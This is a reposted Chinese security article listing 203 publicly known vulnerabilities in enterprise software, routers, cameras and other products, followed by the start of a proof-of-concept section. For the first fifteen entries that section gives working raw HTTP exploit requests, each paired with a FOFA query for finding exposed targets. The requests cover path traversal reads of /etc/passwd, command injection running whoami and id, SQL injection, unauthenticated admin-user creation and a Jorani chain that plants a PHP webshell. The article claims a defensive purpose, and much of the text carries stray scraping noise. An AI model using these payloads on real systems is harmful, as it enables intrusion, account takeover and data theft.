互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
) o* @* ^/ b, I/ u0 A) n以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
* T7 j. j4 r  x* c% E6 d# H
, h3 }3 j/ N$ K! ^* K' h) c漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
' A& ]+ |: A+ }* f2 d0 p
8 j' ]: a2 i/ J6 w1 K- j0 ^+ {8 L+ ^安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

# V4 L: o- v$ {9 ~( _* s, E3 G/ Z; t; ~
声明
9 |+ r, R. ^9 z/ ~* t
+ Q0 ^2 n  m  f# D为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

. X& u* o4 ?3 R9 R有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

3 `4 z( G, [* ?9 A
+ o; p) B! ~' P. e
目录

01
5 i3 K+ t  D( f2 v8 |# _- z
1. StarRocks MPP数据库未授权访问
- X6 [7 S- Q- w' B4 h" z. f6 v3 a! N2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
0 E' Z; H8 ^$ e6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
% `+ \* S3 Z+ W4 T8. 斐讯 Phicomm 路由器RCE
. e( t3 |" F/ T' b2 M  u0 k7 Q9. 稻壳CMS keyword 未授权SQL注入
* ~% ^2 W8 @. q10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
8 Z! B. ~( g6 f. \: [3 b1 N# m11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
& b, N8 S/ _: V# X$ V1 ^0 T$ i3 d7 J. k14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
$ b9 x" T+ S! z3 D  [; T16. 红帆HFOffice医微云SQL注入
. U8 U: D. B5 Y& u8 e17. 大华 DSS itcBulletin SQL 注入
# }+ A% a6 Y" p18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
0 W" O4 S' g8 N) h19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
4 I0 ?! P- ?) n; H6 d/ e; L20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
# ]" }% I7 o/ j8 P9 ?24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
; z  a- ]3 a" s5 [( s31. 用友NC runStateServlet SQL注入
& _' {; y  \  T! R9 |$ c( F! H9 [32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
) X: o" V4 z0 H# o9 A2 C34. 用友NC warningDetailInfo接口SQL注入
8 o3 e; i$ \7 I$ \- f: g35. 用友NC-Cloud importhttpscer任意文件上传
! v+ a4 G* h2 _- |; M+ o$ ^* x+ [! C36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
- p8 S' o0 ]1 ]% c38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
( ]1 _# ~. o$ m44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
# ]. ]' {. Y2 j) ~! ~. V% q+ s) p6 A6 o9 z47. 用友GRP A++Cloud 政府财务云 任意文件读取
. _, v+ V' |4 O- `0 R" f0 X: {4 }48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
$ Y, N& ]" X, l50. QDocs Smart School 6.4.1 filterRecords SQL注入
; F3 I. Z- j7 q5 b3 R2 F51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
0 z3 H/ Z1 L2 R$ k) D53. 迪普 DPTech VPN Service 任意文件上传
+ W9 V4 a4 W  I: d54. 畅捷通T+ getstorewarehousebystore 远程代码执行
' e0 M, H1 _' R; y3 A' I55. 畅捷通T+ getdecallusers信息泄露
# y9 L9 {' Y& ~% P, X* k56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
2 H. Q( Y7 X  S: s  v0 S$ f60. 百卓Smart管理平台 importexport.php SQL注入
4 q: |* q8 R; z% _61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
; C3 m2 m& |& v62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
2 H! S) S! [' s66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
8 T9 }% P7 n' x) @67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
) B  L# O$ z1 H: B  j, M69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
, d1 U( A0 Y+ d' d" [, c. V! k& P74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
, x6 f+ _6 @3 {) e9 T: L+ w76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
, K; O8 s: m1 r! z+ b" p( ~79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
6 S& J0 {7 W1 U8 I- Y" L82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
6 Y  q- K8 v! r, B7 ?" U84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
0 t& G* R6 m+ j1 G6 p) D* g* r85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
, E' m- M- x/ a+ J0 f2 p9 P5 Y87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
6 i( ~1 H4 z( S' P% c% h92. 海康威视运行管理中心session命令执行
2 u0 A* U+ o+ g7 u  U93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
6 S# G  i* ~0 y+ s94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
* m/ t/ Z7 m  C& D$ y; w96. Apache OFBiz  18.12.11 groovy 远程代码执行
  J& Y' U" [/ d) S97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
# Z# w; s9 H0 }9 h( _98. SpiderFlow爬虫平台远程命令执行
( m% F- d/ v( Q% R6 B5 A6 W& ]99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
, O& x- }7 L. h7 v2 T4 X/ b- J101. ivanti policy secure-22.6命令注入
8 J3 t! j6 f$ C& A" _7 v102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
3 |  f# O8 `) X# J# h4 Y, `103. Ivanti Pulse Connect Secure VPN XXE
/ t' v/ @  m& V8 ?5 F7 u104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
1 s8 Y5 E) y6 w1 s2 d105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
  U" W% _( F3 f107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
6 W1 \8 K0 K8 [4 O7 \109. Jenkins CLI 任意文件读取
% F& v8 C# \0 |" f( ^$ Y' \) ?1 d110. Goanywhere MFT 未授权创建管理员
1 t' z" C, Q5 [5 c& ]' [1 _  M111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
7 n( h* `2 _+ G) s. G2 T  G114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
; N/ y) ^0 c- w' g. {116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
/ y. C0 U7 V! Y+ V119. 北京百绰智能S20后台sysmanageajax.php sql注入
! G/ v& m( d8 @( e! o! W, ?120. 北京百绰智能S40管理平台导入web.php任意文件上传
/ `; F7 I) X2 D) [; @) Q121. 北京百绰智能S42管理平台userattestation.php任意文件上传
# {! w' x" b" h0 E# A122. 北京百绰智能s200管理平台/importexport.php sql注入
* c6 R+ m0 g; A123. Atlassian Confluence 模板注入代码执行
- q9 @8 d( \  U; j124. 湖南建研工程质量检测系统任意文件上传
$ R+ y% {' N# q( f/ W) p125. ConnectWise ScreenConnect身份验证绕过
- w9 `5 D4 t; x. f' z& i; Y& \; R126. Aiohttp 路径遍历
1 s5 @% y8 P) E' w6 R9 H127. 广联达Linkworks DataExchange.ashx XXE
/ O8 O( G$ ~0 I# {# }128. Adobe ColdFusion 反序列化
+ u2 X$ l& `, ?- [* I0 y$ `129. Adobe ColdFusion 任意文件读取
8 r* r9 L. b5 T: `- J130. Laykefu客服系统任意文件上传
9 i) a3 E8 b% K. r1 x131. Mini-Tmall <=20231017 SQL注入
2 m( F" Q7 k0 K132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
4 c+ h7 I$ I8 t) \" K# S& l133. H5 云商城 file.php 文件上传
- J7 H- @1 X- ?0 E& W134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
0 U% o: H' f; o$ O/ x6 C. g  c136. NextChat cors SSRF
4 l" h: A8 Y1 Z5 ~$ r( k137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
( N: A9 @' J& ?: r+ F/ J, ~139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
6 `8 b/ w- o" u. V* _1 d142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
* _6 ~3 m4 e3 C) ~144. D-Link nas_sharing.cgi 命令注入
  ^2 s: ?$ Q* U5 P145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
8 y4 N/ o3 w1 w; D% m) Q146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
2 g  p8 Z4 A6 l151. AJ-Report 1.4.1 pageList sql注入
! a& W/ v( F. F& ]152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
1 X; J9 A. r( u154. 天维尔消防救援作战调度平台 SQL注入
8 a0 Q: ?8 `4 Z155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
1 J# d0 Y& U  l+ \3 f- x4 u% r159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
/ A% Y, t  {9 V- [: W% _160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
% w8 F, t' Q- k0 E; k* V$ m: ?162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
& d: b' I1 g+ c* W  d163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
) Z7 V. K9 c0 |164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
& U1 b2 w2 z, [( y. O165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
5 \$ t; {& F, E, j. j; j$ ]8 A167. 精益价值管理系统 DownLoad.aspx任意文件读取
5 D5 {9 q( V4 S; O* B* I168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
/ F) p; n" L- J( k, l171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
5 _( h' ?3 k* Z1 @1 Q2 q6 b174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
+ s; w- f% p2 Z3 Y4 l176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
4 C5 p+ m" T- }: m3 I9 R' h/ f- `  X178. H3C校园网自助服务系统-flexfileupload-任意文件上传
( [' l0 e* R* Z179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
$ e; @3 a- X* k8 x% O182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
; n% I& `" L3 j6 |$ Q' o183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
1 d$ s8 B" _8 R0 Z8 v184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
  s4 Y) x7 ^3 j- ?$ G4 B3 d! ^2 b188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
5 j' f. _$ d$ B9 t% }190. 短视频矩阵营销系统 poihuoqu 任意文件读取
# |8 j  p5 I- `191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
1 B" A- j6 a9 W4 T197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
5 u; C% [4 p  L3 i7 o8 i8 `198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
8 e( k6 p5 L) ?* d202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

5 L4 Q' `3 G* I$ V$ XPOC列表

( N. k: v- S9 ]02

2 q+ W4 L% [- S5 y6 ~5 U) [3 H1. StarRocks MPP数据库未授权访问
/ I4 Q+ \2 [" G3 `  NFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL

8 C+ U2 j5 {/ X
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
8 I$ K8 H$ X7 i- [" p4 PHost: xx.xx.xx.xx:9999
+ O2 n' Y! \4 l6 r( c+ \& \User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
) g: d/ c4 J- D# u% BAccept: */*
Accept-Language: en
Accept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
3 ^1 I: e' p1 \  F* {6 t( P2 L% ?7 qFOFA ：title="EasyCVR"
2 u* O+ ^. F+ _3 B! sGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx


4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

% d" N& B5 b" X/ o- kpassword更改为自己的密码md5
9 m5 F$ J* \& kPOST /api/v1/adduser HTTP/1.1
Host: your-ip
7 v/ ~1 b2 R4 n" ~! X/ WContent-Type: application/x-www-form-urlencoded; charset=UTF-8
* p+ C7 x4 z" H" b9 }
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
  ~1 r% d2 W4 c; J2 Y0 wFOFA：title="Network Video Recorder Login"
: A1 G9 p% l4 C" X8 e  \GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx

+ A8 ^1 M& e8 Z/ }3 R$ u, U. h
6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
3 h4 Z. h, c. fGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
5 x( i' w$ Z$ p2 h, S1 ], KHost:
, V8 S1 l' o/ B, M
0 p9 j/ s1 h5 X  k! N
7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
: P5 w# s5 r8 e$ PGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
* v% s/ N  J3 ?+ P4 Z9 LHost:
( N/ q! z) T$ q+ R  O, t+ G% P) l

8. 斐讯 Phicomm 路由器RCE
" K# s7 d% f( Z# a/ m3 VFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
/ f  G5 n" |% \0 j& kPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
: j8 o. O) w2 l# I* kHost: x.x.x.x
$ g' w& c) X+ oCookie: sysauth=第一步登录获取的cookie
: i, c) S, R9 S9 w$ GContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
# f  ~: o5 [1 X2 HUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
# z- `$ S3 u" y. v
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
0 ~; {9 b2 \+ k3 f% `, r------WebKitFormBoundaryxbgjoytz
1 ]# `2 a2 G, ~/ IContent-Disposition: form-data; name="wifiRebootrange"
0 ^! B* o* B/ _7 R# }/ g5 f% O
( Y4 k3 z5 _, A12:00; id;
------WebKitFormBoundaryxbgjoytz
" V+ A" P( I7 FContent-Disposition: form-data; name="wifiRebootendrange"

%s:
" E+ F& g1 m' H4 e$ I$ k------WebKitFormBoundaryxbgjoytz
  P' \- N, i& Y$ j4 _  vContent-Disposition: form-data; name="cururl2"
* v0 R, [/ K2 l  Z9 C+ W7 ~- @7 f3 q

6 U2 |" {1 l7 Q------WebKitFormBoundaryxbgjoytz--
$ y  @0 ?6 g( n; x
3 x) R- J$ v0 C2 T( j8 `
9. 稻壳CMS keyword 未授权SQL注入
2 P: i" H) {! O  Q/ [7 t" s# P7 RFOFA：app="Doccms"
4 i' D+ M# k" A& E# ~GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
* g1 p6 C4 K" _7 ]
; t( K8 J) N. H3 B/ A3 p1 {
payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

! G! `, g8 L6 [2 A/ |: u10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
( Y/ F7 R9 E% tFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
! f; s7 ~3 r$ DPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
0 R2 H: n" v% r) o, Q1 E; `% qHost: x.x.x.x:xx
  t! t+ H) H* X+ pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
/ `# y4 Z/ j5 w% t: c8 E) s4 EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
# e! c9 N$ o4 |4 |5 ~) ?Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 H! O4 e0 }4 V7 @6 `Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
" U5 Q/ Y. B; W$ |. J" E5 u) U# ]Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
, i- W" r% ?3 d4 r. G/ ^2 x
1 i0 H: y, C1 T0 ujmnqjfdsupxgfidopeixbgsxbf
  W  B- p; D: u------WebKitFormBoundaryxdgaqmqu--
8 v0 s# [7 s# |* {2 A
7 T# }9 j' n: ^( H
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
" n2 E$ w) G- y; ?2 e0 cFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
6 W! ]4 V1 w- G# PCache-Control: no-cache
) y1 i  ^& J2 z& t' |, [% _Upgrade-Insecure-Requests: 1
: Y5 |3 p4 t( F3 }/ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% o* w! T5 M$ V3 N  s, D; VAccept-Encoding: gzip, deflate
4 `3 O' {6 c( n9 S4 B; o/ lAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
( t# \1 L+ }: \
) t7 c9 c% T( ]6 ^4 M
12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
1 G2 C, W! }  r$ w6 l8 Y8 `, w0 I第一步先拿到cookie
GET /session/login HTTP/1.1
8 T) c* ]6 ?( M( m# j: xHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip
- n. l! I( g$ v: j5 s
) R  w2 |  i. z/ r/ ~6 E( Q
响应中csrf_cookie_jorani用于后续请求
% }5 ]3 ^' |3 H8 P/ THTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
: b9 k$ d) v0 ^" S# ]. K, rContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
& h# k4 T. m6 K# `! Q1 H2 QLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
2 j' A7 f4 m4 ^8 yServer: Apache/2.4.54 (Debian)
& B+ d. o8 F0 x; N, \Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
/ [( ]4 N6 K! X; ISet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding


POST请求，执行函数并进行base64编码
# c' E9 A  j! u8 E! DPOST /session/login HTTP/1.1
1 p& m* y" M- g7 |# ?Host: 192.168.190.30
, G% @6 T9 L4 ]* B- BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
7 p+ A) a% u- L9 [# _Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
- t, C( z# z& B  K; Z
  z; Y6 q5 w" O. h2 \& s" ?

) ~8 [* y% l. r1 H7 @% s* q向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
4 n. E  @4 x& W. G8 ?GET /pages/view/log-2023-10-24 HTTP/1.1
* b7 x! {8 U) V% D! rHost: 192.168.190.30
; f) |/ E+ U9 v( X: V& {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
. Y5 f- |$ F1 `; U. o! gConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
6 G9 ~$ {0 t( E" t' E! X1 @K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
8 s3 w" \9 a2 ~Accept-Encoding: gzip


  k( X) v8 J4 S13. 红帆iOffice ioFileDown任意文件读取
! Y5 _  C4 K5 \FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
  |% W6 u$ D2 g* c, K6 VUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
( p4 G* T2 M) c) t& \" P/ ~Connection: close
Accept: */*
! ^7 L4 `) o$ C8 z% W" DAccept-Encoding: gzip
+ i: \- r  ?1 D) _; \  j
" ~. I9 t- K3 J: M: _
" P& u- g" {+ c5 w0 J14. 华夏ERP（jshERP）敏感信息泄露
0 d' T  P! Q5 f( f7 [FOFA：body="jshERP-boot"
泄露内容包括用户名密码
7 a/ t  }  A3 lGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
2 N1 u, l0 G; ?( D3 zHost: x.x.x.x
% u! ^  F! Y% B9 j0 k7 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
, S( t1 l. Y7 u, c2 A: FConnection: close
! m- K0 t# S3 W% {) RAccept: */*
; f, c% L' c4 U9 B1 l. pAccept-Language: en
Accept-Encoding: gzip
- c4 R4 X$ ~$ N. o8 H

15. 华夏ERP getAllList信息泄露
* |% H5 S3 z1 @/ k3 |% I5 y% NCVE-2024-0490
# U7 }. T4 \% j$ R0 c+ }# @FOFA：body="jshERP-boot"
% B- t* s6 S# i5 ^! S& F# @2 j: E泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
- I! z" A' k3 ?: E9 Z2 C# u* P. xHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
# f; V  _5 N6 ^Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
+ R2 l, i0 a/ l/ J8 a7 {& X# qsec-ch-ua-platform: Windows
